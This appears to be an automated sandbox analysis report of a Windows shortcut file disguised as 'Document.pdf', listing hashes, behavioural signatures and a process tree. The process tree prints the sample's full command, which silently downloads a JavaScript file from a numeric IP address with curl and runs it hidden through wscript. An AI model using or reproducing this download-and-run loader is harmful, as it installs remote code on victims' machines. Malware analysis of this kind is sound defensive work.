Analysis

  • max time kernel
    149s
  • max time network
    94s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    23/04/2026, 14:01

General

  • Target
    Document.pdf.lnk
  • Size 2KB
  • Sample260423-rbjc1set4m
  • SHA256 0a40a88a65dfcf450fcf21ca0782ad40b6a2910cf5f0ff4a27fa546db73e8e1e
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Document.pdf.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3952
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /d /q /c curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\j7b20.js" "http://3163160386/l/2e0b44/raw.js" & start "" /B wscript //B //Nologo "C:\Users\Admin\AppData\Local\Temp\j7b20.js"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:892
      • C:\Windows\system32\curl.exe
        curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\j7b20.js" "http://3163160386/l/2e0b44/raw.js"
        3⤵
          PID:3184
        • C:\Windows\system32\wscript.exe
          wscript //B //Nologo "C:\Users\Admin\AppData\Local\Temp\j7b20.js"
          3⤵
            PID:4092

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            memory/3952-0-0x00000271F5490000-0x00000271F549C000-memory.dmp

            memory/3952-2-0x00000271F5490000-0x00000271F549C000-memory.dmp

            memory/4092-3-0x0000020B4D9E0000-0x0000020B4DAFE000-memory.dmp